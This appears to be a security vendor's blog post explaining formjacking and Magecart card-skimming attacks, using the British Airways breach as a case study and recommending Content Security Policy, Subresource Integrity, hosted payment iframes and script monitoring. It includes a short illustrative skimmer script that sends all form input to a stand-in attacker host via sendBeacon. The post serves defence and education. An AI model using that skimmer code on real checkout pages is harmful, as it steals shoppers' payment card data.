Skip to main content
Back to blog
April 28, 2026|8 min read

Formjacking and Magecart Attacks: How to Protect Your Payment Forms

Formjacking attacks inject skimmer scripts into your payment forms to silently steal card numbers. Learn how Content Security Policy and Subresource Integrity stop Magecart cold.

ZeriFlow Team

1,634 words

Formjacking and Magecart Attacks: How to Protect Your Payment Forms

Formjacking attacks are a silent epidemic in e-commerce security. A JavaScript skimmer — often just a few dozen lines of code — is injected into a checkout page and silently exfiltrates payment card data to an attacker's server as customers type it in. The victim never knows. The website owner often doesn't find out for weeks or months. This guide explains exactly how these attacks work and the technical controls that prevent them.

Is your site exposed? Run a free ZeriFlow scan →

What Is Formjacking?

Formjacking (also called a Magecart attack, after one of the most prolific threat groups) is the injection of malicious JavaScript into a web page that captures form input data — particularly payment card numbers, CVVs, names, and billing addresses — and transmits it to an attacker-controlled server.

The attack is invisible to the end user. The checkout process completes normally. The payment is processed. A receipt is sent. The only sign anything went wrong is when the card number appears for sale on a dark web market days later.


The British Airways Attack: A Case Study

In 2018, attackers modified a 22-line JavaScript snippet loaded by British Airways' booking page. The script was a modified version of a legitimate tool; the modification captured everything typed into the payment form — card number, name, billing address — and sent it to a server at baways.com (designed to look like the airline's own domain).

500,000 customers had their payment details stolen over 15 days before the attack was discovered. British Airways was fined £20 million by the UK's ICO under GDPR.

The attack succeeded because: 1. The modified script was loaded from a third-party CDN without integrity verification. 2. No Content Security Policy was in place to restrict which domains JavaScript could send data to. 3. No monitoring was in place to detect changes to loaded script resources.

Every one of these gaps is directly addressable.


How Formjacking Scripts Work

A typical Magecart skimmer attaches event listeners to form inputs or observes the DOM for credit card patterns:

javascript
// Simplified illustration of skimmer logic
document.querySelectorAll('input').forEach(function(input) {
  input.addEventListener('change', function() {
    var data = {};
    document.querySelectorAll('input').forEach(function(el) {
      data[el.name] = el.value;
    });
    navigator.sendBeacon('https://attacker-collector.com/collect', JSON.stringify(data));
  });
});

The use of navigator.sendBeacon (or fetch / XMLHttpRequest) to exfiltrate data is significant: it works asynchronously and is not blocked by page unload, making it stealthier than synchronous methods.

Modern skimmers are heavily obfuscated, encoded in base64 or using Unicode escape sequences, and often check if they're running in a payment context before activating (to avoid detection in sandboxed testing environments).


How Formjacking Scripts Are Injected

Compromised Third-Party Scripts

The most common vector, as in the British Airways case. Any JavaScript your page loads from an external domain is a potential attack surface. If that domain or its CDN is compromised, the script can be modified. This includes: - Analytics and tag management platforms (Google Tag Manager, Tealium) - A/B testing tools (Optimizely, VWO) - Live chat widgets - Payment widgets (if hosted on the merchant's own domain rather than iframed from the PSP) - Ad network scripts

Direct Compromise of the Target Site

Attackers may compromise the website directly — via a CMS plugin vulnerability, compromised admin credentials, or a web shell — and modify JavaScript files or inject script tags directly into page templates.

Third-Party Library Hijacking

A Magecart group purchasing or compromising a popular third-party service (a feedback tool, a review widget) used by thousands of e-commerce sites gives them a single injection point that affects all customers of that service simultaneously.


Prevention: Content Security Policy

Content Security Policy (CSP) is the primary technical control against formjacking. Two directives are specifically relevant:

`script-src` — controls which domains may supply executable JavaScript. A strict allowlist prevents injection of skimmer scripts from unknown domains:

Content-Security-Policy: script-src 'self' https://checkout.trusted-payment.com https://www.googletagmanager.com

Any script from a domain not in this list is blocked before it executes.

`connect-src` — controls which domains JavaScript on your page may send requests to. This directly blocks the exfiltration step:

connect-src 'self' https://api.yoursite.com https://www.google-analytics.com

Even if a skimmer executes, navigator.sendBeacon and fetch calls to attacker-collector.com are blocked by the browser. The stolen data never leaves.

Together, these two directives break the formjacking attack chain at both the injection and exfiltration stages.

ZeriFlow audits your CSP header to check for the presence and restrictiveness of script-src and connect-src directives.

Check your CSP configuration →


Prevention: Subresource Integrity (SRI)

Subresource Integrity ensures that external scripts your page loads match a known cryptographic hash. If a CDN-hosted script is modified, the hash mismatches and the browser refuses to execute it:

html
<script
  src="https://cdn.example.com/analytics.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/..."
  crossorigin="anonymous">
</script>

For British Airways, an SRI hash on the compromised third-party script would have prevented the attack entirely — the modified script would have had a different hash and the browser would have refused to run it.

Practical challenge: SRI hashes are version-locked. If the external library updates (a bug fix, a minor version bump), the hash changes and the script fails to load. Solutions: - Self-host critical scripts rather than loading from external CDNs. - Use a CI pipeline step that fetches external scripts, generates SRI hashes, and updates your HTML automatically. - For frequently updated scripts, use your CDN's version pinning feature.


Prevention: Payment Page Isolation

For the highest-security payment environments, consider isolating your payment forms entirely from your main website's JavaScript context:

Use hosted payment pages or iframes from your Payment Service Provider (Stripe Elements, Braintree Drop-in UI, Adyen Components). Card data is entered directly into a context served by the PSP's domain. Your JavaScript cannot read the card number. A skimmer injected into your page cannot access the iframe's DOM.

This is the most robust defense because it removes card data from your domain's JavaScript context entirely. It also reduces your PCI DSS compliance scope significantly.


Detection and Monitoring

Script change monitoring — run automated checks that compare the hash of all external scripts loaded by your checkout pages against a known-good baseline. Any change triggers an alert.

CSP Reporting — add a report-uri to your CSP to receive browser reports when a policy violation is blocked. A skimmer attempting to exfiltrate data to an unlisted domain generates a CSP violation report.

Real User Monitoring (RUM) — monitor for unexpected outbound network requests from your payment pages. Sudden traffic to unknown domains from the checkout flow is a strong indicator of active skimming.

Third-party script monitoring tools — services like Reflectiz, PerimeterX, Feroot, and Jscrambler specifically monitor your page's JavaScript behavior in real-time, alerting on data exfiltration attempts.


Formjacking Prevention Checklist

  • [ ] CSP deployed with strict script-src allowlist on payment pages
  • [ ] CSP connect-src restricts outbound connections on payment pages
  • [ ] SRI hashes on all external scripts
  • [ ] CSP violation reporting configured (report-uri)
  • [ ] Payment forms use hosted iframe from PSP (Stripe Elements, etc.)
  • [ ] Script change monitoring active on checkout pages
  • [ ] Third-party script inventory maintained and reviewed quarterly
  • [ ] Admin CMS credentials secured with MFA (to prevent direct compromise)

FAQ

Q: Can formjacking affect sites that use Stripe or PayPal?

A: If you use a hosted payment page (redirect to PayPal, Stripe Checkout) — no, because card data is never typed into a form on your domain. If you use embedded payment fields (Stripe Elements, Braintree Drop-in) hosted in an iframe from the PSP — no, because your JavaScript can't access the iframe's DOM. If you use a basic <input type="text"> on your own domain and post it to your server — yes, formjacking can capture that data.

Q: Does PCI DSS compliance prevent Magecart attacks?

A: PCI DSS provides a security framework, but compliance certifications are point-in-time assessments. British Airways was PCI compliant when the attack occurred. CSP and SRI are not currently mandatory under PCI DSS 4.0 (though 4.0 does introduce more script management requirements). Compliance is a floor, not a ceiling.

Q: How do I know if my site has been formjacked?

A: Warning signs: a spike in customer-reported card fraud following purchases on your site, unexpected DNS lookups or HTTP requests to unfamiliar domains visible in browser DevTools, new or modified JavaScript files in your CMS, CSP violation reports from an unlisted domain. Regular script hash monitoring is the most reliable detection method.

Q: Is a strict CSP difficult to implement?

A: Yes, for complex sites with many third-party tools. Use Content-Security-Policy-Report-Only mode first to collect violations without blocking anything. This shows you every domain your current scripts load from. Then build your allowlist from those legitimate domains. Plan for ongoing maintenance as you add new third-party tools.

Q: What makes Magecart attacks hard to detect?

A: The skimmer activates only on payment pages, may be dormant during business hours (to avoid testing), uses legitimate-looking domains, encrypts stolen data, and doesn't cause any visible errors. Without proactive script monitoring and CSP reporting, the attack generates no anomalies in standard web logs.


Conclusion

Formjacking and Magecart attacks remain one of the most financially damaging threat vectors for e-commerce. The British Airways case proved that even major enterprises are vulnerable to what is ultimately a few lines of JavaScript. The defenses — Content Security Policy, Subresource Integrity, hosted payment iframes, and script monitoring — are all available now. Deployment is an engineering investment, but the alternative is a potential GDPR fine and thousands of compromised customer cards.

Scan your site free on ZeriFlow →

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading